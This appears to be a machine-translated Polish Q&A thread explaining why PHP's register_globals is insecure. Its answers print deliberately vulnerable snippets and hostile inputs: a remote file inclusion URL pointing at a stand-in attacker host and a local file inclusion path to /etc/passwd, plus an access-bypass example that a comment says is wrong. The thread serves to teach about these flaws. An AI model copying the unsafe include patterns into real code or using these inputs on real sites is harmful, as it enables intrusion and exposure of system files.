2009-09-13 8 views

Odpowiedz

12

REGISTER_GLOBALS oznacza, że ​​wszystkie zmienne przekazywane przez GET lub POST są dostępne jako zmienne globalne w skrypcie. Ponieważ dostęp do niezadeklarowanych zmiennych nie jest błędem w PHP (jest to ostrzeżenie), może prowadzić do bardzo nieprzyjemnych sytuacji. Rozważmy to na przykład:

<?php 
// $debug = true; 
if ($debug) { 
    echo "query: $query\n"; 
} 

To nie jest złą rzeczą per se (kod dobrze zaprojektowane nie powinny generować ostrzeżenia, dlatego nie powinien uzyskać dostępu do żadnych zmiennych, które mogą być nierejestrowanej (a nie powinien potrzebaREGISTER_GLOBALS dla sam powód)), ale kod PHP jest zwykle [bardzo] niskiej jakości, co prowadzi do tego rodzaju luk w zabezpieczeniach.

+21

"kod PHP jest zwykle [bardzo] niskiej jakości" - mówią za siebie – OIS

+5

Zazwyczaj = zawsze!. Ale polecam przeglądać źródła niektórych CMS z otwartym dostępem do kodu źródłowego. Znajdziesz więcej 'eval()', 'erege_replace()' i 'REGISTER_GLOBALS' niż możesz się spodziewać.Uwaga: sam jestem programistą PHP. – soulmerge

+0

Próba odczytania niezdefiniowanych zmiennych jest nieprzyjemna. Nie miałbyś takiego problemu z '$ debug = false;'. – Gumbo

2

Ponieważ pozwala użytkownikowi wprowadzić dowolną zmienną globalną w kodzie bez żadnej kontroli.

W oparciu o jakość kodu może wprowadzić poważne błędy bezpieczeństwa.

9

Włączenie REGISTER_GLOBALS udostępnia strony internetowe obsługiwane przez PHP do usterek, które niektórzy złoczyńcy będą chętnie wykorzystywać.

Dzięki niemu włączona, dowolny ciąg znaków zapytania na końcu adresu URL:

http://yourdomain/something.php?valid=true 

wpłynie na wartość zmiennej $ ważnego (na przykład) w something.php, jeśli istnieje.

Jeśli używasz publicznie dostępnego kodu PHP (np. Biblioteki), nazwy zmiennych są dobrze znane, a hakerzy mogliby kontrolować ich wartości, przypisując wartości w łańcuchu zapytania. Mogą być w stanie ominąć uwierzytelnianie.

Nawet jeśli nie korzystasz z publicznego kodu, możliwe jest odgadnięcie nazw ważnych zmiennych i kontrola ich wartości.

on używany jako domyślny mieć włączoną register_globals w php.ini

Najnowsze praktyką jest, aby wyłączyć go domyślnie. Włącz to na własne ryzyko!

3

Wystarczy dodać, tutaj są pewne sytuacje, w których mający REGISTER_GLOBALS włączone mogłyby zrujnować twój dzień:

Korzystanie ciąg kwerendy do ominięcia kontroli dostępu (Hack wykorzystujące http://example.com/?logged=1):

<?php 
$logged = User::getLogged(); 
if ($logged) 
{ 
    include '/important/secret.php'; 
} 
?> 

zdalnego File Inclusion (RFI):

<?php 
    //http://example.com/?path=http://evilbadthings.example.com/ 
    include "$path"; 
?> 

Local File Inclusion (LFI):

<?php 
    //http://example.com/?path=../../../../etc/passwd 
    include "$path"; 
?> 
+10

Twój pierwszy przykład nie jest naruszony, ponieważ wartość '$ logged' jest zdefiniowana przez zwracaną wartość' User :: getLogged'. – Gumbo

Powiązane problemy